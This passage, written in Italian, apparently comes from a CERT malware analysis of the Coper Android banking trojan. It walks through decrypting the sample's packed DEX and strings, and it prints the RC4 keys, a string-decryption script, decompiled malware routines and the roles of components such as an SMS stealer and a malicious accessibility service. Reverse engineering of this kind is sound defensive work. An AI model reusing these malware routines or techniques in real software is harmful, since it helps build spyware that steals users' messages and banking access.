1);\r\nset_cmt(0x31ec, \"read\", 1); set_cmt(0x3253, \"([B)I\", 1); set_cmt(0x32cf, \"java/lang/Class\", 1); set_cmt(0x344d,\r\n\"forName\", 1); set_cmt(0x3506, \"(Ljava/lang/String;)Ljava/lang/Class;\", 1); set_cmt(0x3895,\r\n\"android.app.ActivityThread\", 1); set_cmt(0x3b2f, \"android/app/ActivityThread\", 1); set_cmt(0x3db3,\r\n\"currentActivityThread\", 1); set_cmt(0x3fbc, \"()Landroid/app/ActivityThread;\", 1); set_cmt(0x4299,\r\n\"getDeclaredField\", 1); set_cmt(0x441b, \"(Ljava/lang/String;)Ljava/lang/reflect/Field;\", 1); set_cmt(0x4872,\r\n\"mPackages\", 1); set_cmt(0x4961, \"setAccessible\", 1); set_cmt(0x4a9c, \"(Z)V\", 1); set_cmt(0x4b11, \"get\", 1);\r\nset_cmt(0x4b66, \"(Ljava/lang/Object;)Ljava/lang/Object;\", 1); set_cmt(0x4f22, \"getPackageName\", 1);\r\nset_cmt(0x5070, \"()Ljava/lang/String;\", 1); set_cmt(0x5265, \"get\", 1); set_cmt(0x52b2, \"\r\n(Ljava/lang/Object;)Ljava/lang/Object;\", 1); set_cmt(0x5672, \"get\", 1); set_cmt(0x56bf, \"()Ljava/lang/Object;\",\r\n1); set_cmt(0x58b9, \"android.app.LoadedApk\", 1); set_cmt(0x5ac7, \"getDeclaredField\", 1); set_cmt(0x5c51, \"\r\n(Ljava/lang/String;)Ljava/lang/reflect/Field;\", 1); set_cmt(0x60a8, \"mClassLoader\", 1); set_cmt(0x61d7,\r\n\"setAccessible\", 1); set_cmt(0x6310, \"(Z)V\", 1); set_cmt(0x6385, \"get\", 1); set_cmt(0x63d6, \"\r\n(Ljava/lang/Object;)Ljava/lang/Object;\", 1); set_cmt(0x6794, \"dalvik/system/DexClassLoader\", 1);\r\nset_cmt(0x6a4b, \"\u003cinit\u003e\", 1); set_cmt(0x6ae7, \"\r\n(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/ClassLoader;)V\", 1); set_cmt(0x7292, \"set\",\r\n1); set_cmt(0x72e3, \"(Ljava/lang/Object;Ljava/lang/Object;)V\", 1); set_cmt(0xa0bc, \"getExternalCacheDir\", 1);\r\nset_cmt(0xa2a3, \"()Ljava/io/File;\", 1); set_cmt(0xa42b, \"java/io/File\", 1); set_cmt(0xa54b, \"getPath\", 1);\r\nset_cmt(0xa602, \"()Ljava/lang/String;\", 1); set_cmt(0xa7f5, \"getApplicationInfo\", 1); set_cmt(0xa9b3, \"\r\n()Landroid/content/pm/ApplicationInfo;\", 1); set_cmt(0xad5b, \"android/content/pm/ApplicationInfo\", 1);\r\nset_cmt(0xb09f, \"dataDir\", 1); set_cmt(0xb14f, \"Ljava/lang/String;\", 1); set_cmt(0xb30c, \"cache/\", 1);\r\nset_cmt(0x80ce, \"android/app/ActivityThread\", 1); set_cmt(0x8353, \"currentActivityThread\", 1); set_cmt(0x8565,\r\n\"()Landroid/app/ActivityThread;\", 1); set_cmt(0x884a, \"getApplication\", 1); set_cmt(0x89a9, \"\r\n()Landroid/app/Application;\", 1); set_cmt(0x7d64, \"CallObjectMethodV\", 1); set_cmt(0xc0e7, \"GetObjectClass\",\r\n1); set_cmt(0xc101, \"GetMethodID\", 1); set_cmt(0xc110, \"ExceptionCheck\", 1); set_cmt(0xc13d, \"GetObjectClass\",\r\n1); set_cmt(0xc156, \"GetMethodID\", 1); set_cmt(0xc16a, \"NewStringUTF\", 1); set_cmt(0xc18c, \"ExceptionCheck\",\r\n1); set_cmt(0xc1a3, \"GetObjectClass\", 1); set_cmt(0xc1bc, \"GetMethodID\", 1); set_cmt(0xc1db, \"NewByteArray\",\r\n1); set_cmt(0xc1ed, \"GetObjectClass\", 1); set_cmt(0xc206, \"GetMethodID\", 1); set_cmt(0xc261, \"GetArrayLength\",\r\n1); set_cmt(0xc286, \"GetByteArrayRegion\", 1); set_cmt(0x9f69, \"GetObjectClass\", 1); set_cmt(0x9fb9,\r\n\"FindClass\", 1); set_cmt(0x9fd5, \"GetMethodID\", 1); set_cmt(0xa020, \"FindClass\", 1); set_cmt(0xa036,\r\n\"GetFieldID\", 1); set_cmt(0xa048, \"GetObjectField\", 1); set_cmt(0x76a3, \"NewStringUTF\", 1); set_cmt(0x76e5,\r\n\"GetObjectClass\", 1); set_cmt(0x7705, \"GetMethodID\", 1); set_cmt(0x7729, \"GetObjectClass\", 1); set_cmt(0x774c,\r\n\"GetMethodID\", 1); set_cmt(0x7763, \"NewStringUTF\", 1); set_cmt(0x779f, \"GetMethodID\", 1); set_cmt(0x77c5,\r\n\"GetObjectClass\", 1); set_cmt(0x77e5, \"GetMethodID\", 1); set_cmt(0x7804, \"NewByteArray\", 1); set_cmt(0x7821,\r\n\"GetMethodID\", 1); set_cmt(0x7844, \"GetArrayLength\", 1); set_cmt(0x789d, \"FindClass\", 1); set_cmt(0x78bc,\r\n\"GetStaticMethodID\", 1); set_cmt(0x78d3, \"NewStringUTF\", 1); set_cmt(0x7902, \"GetObjectClass\", 1);\r\nset_cmt(0x7919, \"FindClass\", 1); set_cmt(0x7938, \"GetStaticMethodID\", 1); set_cmt(0x796a, \"GetMethodID\", 1);\r\nset_cmt(0x7979, \"ExceptionCheck\", 1); set_cmt(0x799e, \"NewStringUTF\", 1); set_cmt(0x79c6, \"GetObjectClass\", 1);\r\nset_cmt(0x79e5, \"GetMethodID\", 1); set_cmt(0x7a16, \"GetMethodID\", 1); set_cmt(0x7a40, \"GetObjectClass\", 1);\r\nset_cmt(0x7a5f, \"GetMethodID\", 1); set_cmt(0x7a83, \"GetObjectClass\", 1); set_cmt(0x7aa0, \"GetMethodID\", 1);\r\nset_cmt(0x7ac6, \"GetObjectClass\", 1); set_cmt(0x7ae3, \"GetMethodID\", 1); set_cmt(0x7b11, \"NewStringUTF\", 1);\r\nset_cmt(0x7b3b, \"GetObjectClass\", 1); set_cmt(0x7b5b, \"GetMethodID\", 1); set_cmt(0x7b70, \"NewStringUTF\", 1);\r\nset_cmt(0x7b96, \"GetObjectClass\", 1); set_cmt(0x7bb6, \"GetMethodID\", 1); set_cmt(0x7be8, \"GetMethodID\", 1);\r\nset_cmt(0x7c13, \"FindClass\", 1); set_cmt(0x7c30, \"GetMethodID\", 1); set_cmt(0x7c47, \"NewStringUTF\", 1);\r\nhttps://cert-agid.gov.it/news/analisi-e-approfondimenti-tecnici-sul-malware-coper-utilizzato-per-attaccare-dispositivi-mobili/\r\nPage 8 of 26\n\nset_cmt(0x7c85, \"GetMethodID\", 1); set_cmt(0xc2b4, \"GetStringUTFChars\", 1); set_cmt(0x7e24, \"CallIntMethodV\",\r\n1); set_cmt(0x8064, \"NewObjectV\", 1); set_cmt(0xb3ca, \"GetObjectClass\", 1); set_cmt(0xb422, \"FindClass\", 1);\r\nset_cmt(0xb43f, \"GetMethodID\", 1); set_cmt(0xb4dd, \"GetStringUTFChars\", 1); set_cmt(0xb57c, \"NewStringUTF\", 1);\r\nset_cmt(0xb592, \"ReleaseStringUTFChars\", 1); set_cmt(0xb497, \"FindClass\", 1); set_cmt(0xb4b4, \"GetFieldID\", 1);\r\nset_cmt(0xb4c7, \"GetObjectField\", 1); set_cmt(0x7fa4, \"CallVoidMethodV\", 1); set_cmt(0x7ee4,\r\n\"CallStaticObjectMethodV\", 1); set_cmt(0x8c4a, \"FindClass\", 1); set_cmt(0x8c62, \"GetStaticMethodID\"\r\nUna volta eseguito su IDA otteniamo degli utili commenti per l’analisi.\r\nI metodi di classi Java sono chiamati dal codice nativo tramite tre passaggi:\r\n1. Una chiamata al metodo GetObjectClass di JNIEnv per ottenere un oggetto jclass nel quale ricercare il metodo di\r\ninteresse;\r\n2. Una chiamata a GetMethodID di JNIEnv per ottenere un oggetto jmethodID che rappresenta il metodo trovato;\r\n3. Il metodo è chiamato tramite il metodo CallObjectMethodV o un suo wrapper (come è il caso di questo sample che\r\nè scritto in C++, linguaggio per il quale JNI mette a disposizione tipi appositi).\r\nUn esempio di questi tre passaggi è mostrato sotto, dove il codice recupera un’istanza della classe Resources. Non ci siamo\r\nsoffermati sui parametri di queste funzioni, in particolare sul fatto che, per via dell’overloading delle funzioni, è necessaria\r\nindicare la firma del metodo voluto e quindi molte stringhe saranno firme di metodi.\r\nMostrare il codice di ogni funzione della libreria nativa sarebbe troppo prolisso quindi ci limitiamo a fornire il database IDA\r\nannotato e a riassumere quanto fatto da questa:\r\n1. Il file DEX finale viene scritto in due possibili percorsi. O dentro la directory dei dati dell’applicazione o dentro la\r\ndirectory, sull’SD esterno, assegnata all’applicatione. In entrambi i casi, alla directory scelta è aggiunto il percorso\r\n/cache/tgvfowooof. In questo sample è usata la directory interna dell’App.\r\n2. Viene usato openRawResources per aprire la risorsa com.leadendq:raw/tgvfowooof (che contiene il DEX cifrato) e\r\nleggerlo in un array di byte.\r\n3. L’array viene decifrato tramite RC4 (sotto è mostrato il codice standard per l’inizializzazione della chiave) con la\r\nchiave EFAXVStkcDXNGbc3odLA5hHsC6osT5SE.\r\n4. Il file è scritto su disco e viene aggiunto al thread un ClassLoader con percorso di ricerca indicato nel primo punto.\r\nhttps://cert-agid.gov.it/news/analisi-e-approfondimenti-tecnici-sul-malware-coper-utilizzato-per-attaccare-dispositivi-mobili/\r\nPage 9 of 26\n\nInizializzazione della chiave secondo RC4\r\nIl file DEX può quindi essere prelevato dalle risorse, ad esempio con apktool -d o simili, e decifrato, per comodità, anche\r\ncon cyberchef.\r\nPreparazione al reverse – jrename\r\nOttenuto il DEX è possibile analizzarlo con JADX, gran parte del bytecode viene decompilato egregiamente.\r\nNella maggior parte dei casi i nomi delle classi, dei metodi e dei campi sono offuscati, come molti decompilatori anche\r\nJADX cambia i nomi per renderli leggibili ma ovviamente sono nomi non significativi. Per gli APK con un gran numero di\r\nfunzionalità non è possibile memorizzare le funzionalità di ogni nome ma è necessario rinominare i metodi, i campi e le\r\nclassi.\r\nJADX, che è sia un decompilatore che una sorta di IDE per la navigazione del codice decompilato, permette di rinominare le\r\nentità ed è quindi usabile per il compito successivo dell’analisi, ovvero il reverse engineering vero e proprio.\r\nPer prima cosa è stato convertito il file DEX in un JAR, in questo caso usando enjarify:\r\n$ enjarify.sh coper.dex -o coper.jar\r\nLe classi dentro il JAR hanno come nomi parole chiave riservate:\r\n$ 7z l coper.jar 7-Zip [64] 17.04 : Copyright (c) 1999-2021 Igor Pavlov : 2017-08-28 p7zip Version 17.04\r\n(locale=en_GB.UTF-8,Utf16=on,HugeFiles=on,64 bits,8 CPUs x64) Scanning the drive for archives: 1 file, 272962\r\nbytes (267 KiB) Listing archive: coper.jar -- Path = coper.jar Type = zip Physical Size = 272962 Date Time Attr\r\nSize Compressed Name ------------------- ----- ------------ ------------ ------------------------ 1980-01-01\r\n00:00:00 ..... 222 222 com/leadendq/p012q.class 1980-01-01 00:00:00 ..... 463 463 com/leadendq/p015a.class\r\n1980-01-01 00:00:00 ..... 2029 2029 com/leadendq/p016q.class 1980-01-01 00:00:00 ..... 785 785\r\ncom/leadendq/p020e$fddo.class 1980-01-01 00:00:00 ..... 3551 3551 com/leadendq/p020e.class 1980-01-01 00:00:00\r\n..... 2190 2190 com/leadendq/p022e.class 1980-01-01 00:00:00 ..... 4164 4164 com/leadendq/p025n.class 1980-01-\r\n01 00:00:00 ..... 3329 3329 com/leadendq/p025p.class 1980-01-01 00:00:00 ..... 857 857 com/leadendq/p027j.class\r\nhttps://cert-agid.gov.it/news/analisi-e-approfondimenti-tecnici-sul-malware-coper-utilizzato-per-attaccare-dispositivi-mobili/\r\nPage 10 of 26\n\n1980-01-01 00:00:00 ..... 222 222 com/leadendq/p028m.class 1980-01-01 00:00:00 ..... 244 244\r\ncom/leadendq/p032o.class 1980-01-01 00:00:00 ..... 240 240 com/leadendq/p036z.class 1980-01-01 00:00:00 .....\r\n2916 2916 com/leadendq/p038x.class 1980-01-01 00:00:00 ..... 459 459 com/leadendq/p041o.class 1980-01-01\r\n00:00:00 ..... 244 244 com/leadendq/p043c.class 1980-01-01 00:00:00 ..... 244 244 com/leadendq/p049d.class\r\n1980-01-01 00:00:00 ..... 222 222 com/leadendq/p055u.class 1980-01-01 00:00:00 ..... 1687 1687\r\ncom/leadendq/p057h.class 1980-01-01 00:00:00 ..... 244 244 com/leadendq/p058q.class 1980-01-01 00:00:00 .....\r\n137 137 com/leadendq/p058z.class 1980-01-01 00:00:00 ..... 137 137 com/leadendq/p059z.class 1980-01-01 00:00:00\r\n..... 244 244 com/leadendq/p061e.class 1980-01-01 00:00:00 ..... 2268 2268 com/leadendq/p061p.class 1980-01-01\r\n00:00:00 ..... 2965 2965 com/leadendq/p064y.class 1980-01-01 00:00:00 ..... 137 137 com/leadendq/p077n.class\r\n1980-01-01 00:00:00 ..... 755 755 com/leadendq/p080g$fddo.class 1980-01-01 00:00:00 ..... 888 888\r\ncom/leadendq/p080g$ifdf.class 1980-01-01 00:00:00 ..... 2879 2879 com/leadendq/p080g.class 1980-01-01 00:00:00\r\n..... 141 141 com/leadendq/p081h$fddo.class 1980-01-01 00:00:00 ..... 139 139 com/leadendq/p081h$ifdf.class\r\n1980-01-01 00:00:00 ..... 13713 6215 com/leadendq/p081h.class 1980-01-01 00:00:00 ..... 461 461\r\ncom/leadendq/p084n$fddo.class 1980-01-01 00:00:00 ..... 571 571 com/leadendq/p084n$ifdf.class 1980-01-01\r\n00:00:00 ..... 4490 4490 com/leadendq/p084n.class 1980-01-01 00:00:00 ..... 1562 1562 com/leadendq/p086c.class\r\n1980-01-01 00:00:00 ..... 222 222 com/leadendq/p092f.class 1980-01-01 00:00:00 ..... 2459 2459\r\ncom/leadendq/p094v.class 1980-01-01 00:00:00 ..... 763 763 com/leadendq/p095g$fddo.class 1980-01-01 00:00:00\r\n..... 15805 8079 com/leadendq/p095g.class 1980-01-01 00:00:00 ..... 75 75 com/leadendq/p097d$fddo.class 1980-\r\n01-01 00:00:00 ..... 459 459 com/leadendq/p097d$for.class 1980-01-01 00:00:00 ..... 1489 1489\r\ncom/leadendq/p097d$ifdf.class 1980-01-01 00:00:00 ..... 1831 1831 com/leadendq/p097d$new.class 1980-01-01\r\n00:00:00 ..... 7299 7299 com/leadendq/p097d.class 1980-01-01 00:00:00 ..... 1245 1245 fddo/break.class 1980-01-\r\n01 00:00:00 ..... 1697 1697 fddo/catch$fddo.class 1980-01-01 00:00:00 ..... 4219 4219 fddo/catch.class 1980-01-\r\n01 00:00:00 ..... 4577 4577 fddo/class.class 1980-01-01 00:00:00 ..... 566 566 fddo/const$fddo.class 1980-01-01\r\n00:00:00 ..... 935 935 fddo/const$for.class 1980-01-01 00:00:00 ..... 844 844 fddo/const$ifdf.class 1980-01-01\r\n00:00:00 ..... 573 573 fddo/const$new.class 1980-01-01 00:00:00 ..... 841 841 fddo/const$try.class 1980-01-01\r\n00:00:00 ..... 20911 10101 fddo/const.class 1980-01-01 00:00:00 ..... 9667 9667 fddo/fddo.class 1980-01-01\r\n00:00:00 ..... 2681 2681 fddo/final.class 1980-01-01 00:00:00 ..... 329127 92046 fddo/for.class 1980-01-01\r\n00:00:00 ..... 558 558 fddo/goto$fddo.class 1980-01-01 00:00:00 ..... 32946 15998 fddo/goto.class 1980-01-01\r\n00:00:00 ..... 6940 6940 fddo/ifdf.class 1980-01-01 00:00:00 ..... 2536 2536 fddo/new.class 1980-01-01 00:00:00\r\n..... 16671 8240 fddo/super.class 1980-01-01 00:00:00 ..... 362 362 fddo/this$fddo.class 1980-01-01 00:00:00\r\n..... 546 546 fddo/this$ifdf$fddo.class 1980-01-01 00:00:00 ..... 981 981 fddo/this$ifdf.class 1980-01-01\r\n00:00:00 ..... 21834 10298 fddo/this.class 1980-01-01 00:00:00 ..... 4037 4037 fddo/throw.class 1980-01-01\r\n00:00:00 ..... 3720 3720 fddo/try.class 1980-01-01 00:00:00 ..... 304 304 fddo/while.class 1980-01-01 00:00:00\r\n..... 4088 4088 fddo/case.class 1980-01-01 00:00:00 ..... 10975 4803 fddo/else.class ------------------- -----\r\n------------ ------------ ------------------------ 1980-01-01 00:00:00 570582 264380 71 files\r\nInoltre, i metodi ed i campi delle classi hanno nomi che sono riutilizzati varie volte. Possiamo ora rinominare e decompilare\r\nil file JAR:\r\n$ ./jrename coper.jar $ jadx -d res1 coper_renamed.jar\r\nOtteniamo così un file jar (coper_renamed.jar) e dei sorgenti su cui possiamo lavorare.\r\nPreparazione al reversing: decifrare le stringhe\r\nIl renaming ha permesso di ottenere codice con nomi univoci (e a codice prefisso) per ogni entità ed è quindi facile\r\nrinominare classi e metodi via via che si procede al reversing.\r\nDando un’occhiata al codice però possiamo osservare spezzoni tipo questo:\r\nLog.d(\"\u003e\u003ep025p\", \"all perms have been given, next check in 10 min\"); Class67a.method242a(applicationContext,\r\n\"perms_check_delay\", 600); if (Class67a.method247a(applicationContext,\r\nClass45a.method67a(\"47e69dd09da9d2c046\"), \"\").equals(\"perms\")) { Class67a.method248a(applicationContext,\r\nClass45a.method67a(\"47e69dd09da9d2c046\"), \"\"); }\r\nI metodi hanno nomi sequenziali ma si notano chiamate a Class45a.method67a con stringhe esadecimali. Questo ci spinge\r\na pensare che probabilmente si tratta di una funzione di decifratura delle stringhe. La classe Class45a si presenta così:\r\npackage fddo; public class Class45a { private int[] field62a; private int field63a = 0; private int field64a =\r\n0; public Class45a(byte[] bArr) { this.field62a = method65a(bArr); } private int[] method65a(byte[] bArr) {\r\nint[] iArr = new int[256]; for (int i = 0; i \u003c 256; i++) { iArr[i] = i; } int i2 = 0; for (int i3 = 0; i3 \u003c\r\n256; i3++) { i2 = (((i2 + iArr[i3]) + bArr[i3 % bArr.length]) + 256) % 256; method66a(i3, i2, iArr); } return\r\niArr; } private void method66a(int i, int i2, int[] iArr) { int i3 = iArr[i]; iArr[i] = iArr[i2]; iArr[i2] =\r\ni3; } public static String method67a(String str) { return new\r\nClass45a(\"FqCpR3UIB7Eelm7akFJ\".getBytes()).method69a(str); } public static String method68a(String str) {\r\nreturn str; } public String method69a(String str) { return method70a(method71a(str)); } public String\r\nmethod70a(byte[] bArr) { byte[] bArr2 = new byte[bArr.length]; for (int i = 0; i \u003c bArr.length; i++) { int i2 =\r\nhttps://cert-agid.gov.it/news/analisi-e-approfondimenti-tecnici-sul-malware-coper-utilizzato-per-attaccare-dispositivi-mobili/\r\nPage 11 of 26\n\n(this.field64a + 1) % 256; this.field64a = i2; int i3 = this.field63a; int[] iArr = this.field62a; int i4 = (i3\r\n+ iArr[i2]) % 256; this.field63a = i4; method66a(i2, i4, iArr); int[] iArr2 = this.field62a; bArr2[i] = (byte)\r\n(iArr2[(iArr2[this.field64a] + iArr2[this.field63a]) % 256] ^ bArr[i]); } return new String(bArr2); } public\r\nbyte[] method71a(String str) { int length = str.length(); byte[] bArr = new byte[(length / 2)]; for (int i = 0;\r\ni \u003c length; i += 2) { bArr[i / 2] = (byte) ((Character.digit(str.charAt(i), 16) \u003c\u003c 4) +\r\nCharacter.digit(str.charAt(i + 1), 16)); } return bArr; } }\r\nSi nota subito che si tratta di RC4 ed altrettanto immediato è possibile decifrarlo con Cyberchef.\r\nCon uno script python possiamo modificare i “sorgenti” per decifrare le stringhe. Dato che non tutte le chiamate a\r\nClass45a.method67a avvengono con uno string literal come parametro, l’approccio usato è quello di trovare tutte gli string\r\nliteral che rappresentano numerali esadecimali con un numero pari di cifre, rimpiazzarli con il valore decifrato e poi\r\nsostituire una generica chiamata Class45a.method67a(X) con X . Il codice python realizzato per l’occasione è il seguente:\r\nimport re import os import binascii def transform(path, cb): for f in os.listdir(path): fullpath =\r\nos.path.join(path, f) if os.path.isdir(fullpath): transform(fullpath, cb) elif fullpath.endswith(\".java\"): with\r\nopen(fullpath, \"rb\") as g: data = g.read() data = cb(data) with open(fullpath, \"wb\") as g: g.write(data)\r\n#Shitty RC4 implementation copied from the internet def rc4(data, key): S = list(range(256)) j = 0 out = []\r\n#KSA Phase for i in range(256): j = (j + S[i] + ord( key[i % len(key)] )) % 256 S[i] , S[j] = S[j] , S[i] #PRGA\r\nPhase i = j = 0 for char in data: i = ( i + 1 ) % 256 j = ( j + S[i] ) % 256 S[i] , S[j] = S[j] , S[i]\r\nout.append(char ^ S[(S[i] + S[j]) % 256]) return bytes(out) def decrypt(s): #Not an hex string indeed if len(s)\r\n% 2 == 1: return s return rc4(binascii.unhexlify(s), \"FqCpR3UIB7Eelm7akFJ\") re1 = re.compile(br'\"([a-f0-9]\r\n{2,})\"') re2 = re.compile(br'Class45a\\.method67a\\((?:\\(String\\))?(.*?)\\)') def decode_string(data): data =\r\nre1.sub(lambda m: b'\"' + decrypt(m.group(1)) + b'\"', data) data = re2.sub(lambda m: m.group(1), data) return\r\ndata #Use your path here transform(\"sources\", decode_string)\r\nReversing: la fase locale\r\nAbbiamo ora a disposizione i sorgenti decompilati con:\r\nLe stringhe decifrate;\r\nOgni entità (classe, metodo o campo) ha un nome univoco e a codice prefisso.\r\nSiamo nelle condizioni di iniziare l’operazione di reversing vero e proprio. Una volta compreso il comportamento e la\r\nfunzione di un metodo o di un campo, questi sono rinominati con un nome utile (es: showBlackScreen ).\r\nNella fase locale viene tenuto in considerazione solo il codice del metodo ed il codice “intorno”. È una fase certosina, spesso\r\nci si ritrova a dover continuamente spostare l’attenzione da una funzione all’altra. La vera arma è la pazienza, perchè Coper\r\nutilizza 260 metodi, 71 classi e 156 campi.\r\nAlcuni metodi non sono decompilati correttamente e JADX ci offre un codice meno strutturato in questi casi:\r\n/* JADX WARNING: Removed duplicated region for block: B:16:? A[RETURN, SYNTHETIC] */ /* JADX WARNING: Removed\r\nduplicated region for block: B:9:0x0028 */ /* Code decompiled incorrectly, please refer to instructions dump.\r\n*/ private void method43a(android.content.Context r7) { /* r6 = this; r1 = 0 java.lang.String r2 = \"acsb_task\"\r\njava.lang.String r3 = \"\" java.lang.String r0 = fddo.Class67a.method247a(r7, r2, r3) java.lang.String r4 =\r\n\"confirm_uninstall\" boolean r0 = r0.equals(r4) if (r0 == 0) goto L_0x001f r0 = 1 java.lang.String r4 =\r\n\"last_uninstall_attempt\" r5 = 10 boolean r4 = fddo.Class58a.method200a(r7, r4, r5, r1) if (r4 == 0) goto\r\nL_0x0020 fddo.Class67a.method248a(r7, r2, r3) L_0x001f: r0 = r1 L_0x0020: if (r0 != 0) goto L_0x0070 boolean r0\r\n= fddo.Class58a.method138a(r7) if (r0 != 0) goto L_0x0070 java.lang.String r0 = \"uninstall_apps\"\r\njava.lang.String r0 = fddo.Class67a.method247a(r7, r0, r3) boolean r2 = r0.isEmpty() if (r2 != 0) goto L_0x0070\r\njava.lang.Integer r1 = java.lang.Integer.valueOf(r1) java.lang.String r2 = \"uninstall_delay\" java.lang.Integer\r\nr1 = fddo.Class67a.method246a(r7, r2, r1) int r1 = r1.intValue() r2 = 0 java.lang.Long r2 =\r\njava.lang.Long.valueOf(r2) java.lang.String r3 = \"uptime\" java.lang.Long r2 = fddo.Class67a.method244a(r7, r3,\r\nr2) long r2 = r2.longValue() long r4 = (long) r1 int r1 = (r2 \u003e r4 ? 1 : (r2 == r4 ? 0 : -1)) if (r1 \u003c= 0) goto\r\nL_0x0070 java.lang.StringBuilder r1 = new java.lang.StringBuilder r1.\u003cinit\u003e() java.lang.String r2 = \"p095g\r\nstart uninstall apps: \" r1.append(r2) r1.append(r0) java.lang.String r1 = r1.toString() java.lang.String r2 =\r\n\"\u003e\u003ep095g\" android.util.Log.i(r2, r1) method42a(r7, r0) L_0x0070: return */ throw new\r\nUnsupportedOperationException(\"Method not decompiled:\r\ncom.leadendq.Class38a.method43a(android.content.Context):void\"); }\r\nReinterpretando il codice, l’esempio sopra diviene:\r\nprivate void uninstall(Context context) { if (SharedPrefs.getString(context, \"acsb_task\",\r\n\"\").equals(\"confirm_uninstall\") \u0026\u0026 Misc.hasElapsed(context, \"last_uninstall_attempt\", 10, 0)) {\r\nSharedPrefs.putString(context, \"acsb_task\", \"\"); return; } if (Misc.isLockscreenOn(context)) return; String\r\ntoUninstall = SharedPrefs.getString(context, \"uninstall_apps\", \"\"); if (toUninstall.isEmpty()) return; long\r\nuninstallDelay = SharedPrefs.getInt(context, \"uninstall_delay\", Integer.valueOf(0)).intValue(); long uptime =\r\nhttps://cert-agid.gov.it/news/analisi-e-approfondimenti-tecnici-sul-malware-coper-utilizzato-per-attaccare-dispositivi-mobili/\r\nPage 12 of 26\n\nSharedPrefs.getInt(context, \"uptime\", Integer.valueOf(0)).intValue(); if (uptime \u003c uninstallDelay) return;\r\nLog.i(\"\u003e\u003ep095g\", \"p095g start uninstall apps: \" + toUninstall); uninstallOtherAdmins(context, toUninstall); }\r\nLo strumento jrename in output fornisce una mappa di renaming. Quando salvata in un file insieme ai file .java decompilati,\r\nl’operazione di Trova/Sostituisci rinominerà automatica i nomi anche nel file di mapping. Questo verrà comodo per mappare\r\ni nomi del manifest nei nomi finali scelti dall’analista.\r\nAlla fine della fase locale di reversing si ha un insieme di sorgenti decompilati che assomigliano al codice sorgente\r\noriginale. A questo punto è possible passare alla fase globale.\r\nReversing: la fase globale\r\nUna volta determinato il compito di ogni metodo, classe (e volendo di ogni campo) è necessario vedere come interagiscono\r\ntra di loro. Questa è la fase globale del reversing, quella in cui si guarda il malware dall’alto e si connettono i punti.\r\nIniziamo dai punti di ingresso. Per un malware Android i punti di ingresso sono vari perchè ogni app Android espone più\r\ncomponenti.\r\nAnalizzando il file manifest vediamo che sono presenti i seguenti componenti:\r\ncom.leadendq.p022e (Main) =\u003e MainActivity * com.leadendq.p086c (Admin receiver) =\u003e AdminRec com.leadendq.p064y\r\n(SMS receiver) =\u003e SMSStealer * com.leadendq.p058q (SMS deliver) =\u003e NullReceiver1 com.leadendq.p032o (WAP push\r\ndeliver) =\u003e NullReceiver2 com.leadendq.p036z (SMS manager) =\u003e NullClickListenerActivity com.leadendq.p028m\r\n(Respond via SMS) =\u003e NullService1 com.leadendq.p015a (Receiver) =\u003e PingReceiver com.leadendq.p041o (All\r\nreceiver) =\u003e RepeatedPingReceiver * com.leadendq.p038x (service) =\u003e ForegroundService com.leadendq.p095g\r\n(service) =\u003e Bot com.leadendq.LogSrv (service) =\u003e - com.leadendq.p027j (service) =\u003e DecoyMessage\r\ncom.leadendq.p084n (service) =\u003e ScreenStreamService com.leadendq.p020e (service) =\u003e SendScreenshotSrv\r\ncom.leadendq.p081h (Accessibility service) =\u003e ACSBService com.leadendq.p025n (Notification listener) =\u003e\r\nNotificationStealerBlocker com.leadendq.p061e (receiver) =\u003e NullReceiver6 com.leadendq.p043c (receiver) =\u003e\r\nNullReceiver3 com.leadendq.p049d (receiver) =\u003e NullReceiver4 com.leadendq.p077n (receiver) =\u003e NullActivity3\r\ncom.leadendq.p058z (receiver) =\u003e NullActivity com.leadendq.p059z (receiver) =\u003e NullActivity2 com.leadendq.p012q\r\n(receiver) =\u003e NullService2 com.leadendq.p055u (receiver) =\u003e NullService3 com.leadendq.p092f (receiver) =\u003e\r\nNullService7\r\nI componenti marcati con un asterisco sono quelli che possono fungere da punto di ingresso dell’applicazione appena\r\ninstallata. Successivamente, con l’intervento utente (o automaticamente) acquisirà altri punti di ingresso.\r\nIn questa fase di analisi risulta utile realizzare degli schemi che indichino le interazioni tra i componenti. Per necessità di\r\nsemplificazione questi schemi non potranno includere tutti i dettagli (i quali si possono trovare nel codice, che rimane la\r\nfonte ultima di riferimento).\r\nSchema dei punti di ingresso\r\nNello schema sotto abbiamo messo a sinistra i punti di ingresso del malware, ovvero l’activity principale, la ricezione di un\r\nSMS ed un receiver configurato per ricevere un ampio parco di eventi (boot, presenza dell’utente, blocco/sblocco dello\r\nschermo, installazione/rimozione app, risveglio dalla modalità doze, ricezione SMS).\r\nhttps://cert-agid.gov.it/news/analisi-e-approfondimenti-tecnici-sul-malware-coper-utilizzato-per-attaccare-dispositivi-mobili/\r\nPage 13 of 26\n\nCome avviene per moltissimi malware per Android, anche Coper usa le SharedPreferences come fulcro centrale di\r\ncoordinamento. In queste sono salvati vari valori che orchestrano componenti altrimenti separati, sotto forniamo una tabella\r\ncon i vari valori. Il nome del file usato per le SharedPreferences è “main“.\r\nIl cuore del malware si basa, come sempre, su un servizio di accessibilità malevolo e fa leva sulle numerose funzionalità di\r\nAndroid.\r\nGli entry-point\r\nUn primo entry-point, quello più semplice, è legato al receiver SMSStealer, configurato per essere chiamato quando viene\r\nricevuto un SMS (supposto che l’utente fornisca i permessi o che l’app se li prenda una volta impostato il servizio di\r\naccessibilità).\r\nQuando viene ricevuto un nuovo SMS, Coper lo serializza in un oggetto JSON e:\r\n1. lo aggiunge alle SharedPreferences sotto la voce “new_sms” (questo valore viene inviato ad ogni ping);\r\n2. lo invia subito al C2.\r\nCome si vede c’è un po’ di ridondanza poichè il C2 può ricevere lo stesso SMS due volte. In generale, il C2 può rispondere\r\ndi rimuovere un SMS dalla lista in “new_sms“, probabilmente a seguito della sua corretta ricezione. L’invio immediato è\r\nfatto probabilmente per ridurre la latenza: il ping infatti avviene ogni 60 secondi.\r\nL’altro entry-point è il receiver RepeatedPingReceiver. Questo è chiamato a seguito di vari eventi (si faccia riferimento al\r\nmanifest) inclusi:\r\nboot\r\npresenza utente\r\nblocco/sblocco schermo\r\nricezione SMS\r\nuscita dal doze mode\r\ninstallazione/rimozione app\r\ncambio connettività.\r\nIl compito di questo receiver è avviare il ciclo di Ping del malware verso il C2.\r\nIl ciclo è effettuato con una sveglia (alarm) ripetuta ogni 60 secondi ed in grado di svegliare il telefono (RTC_WAKE):\r\nif (repeating) { AlarmManager alarm = (AlarmManager)context.getSystemService(\"alarm\"); PendingIntent intent =\r\nPendingIntent.getBroadcast(context, 0, new Intent(context, 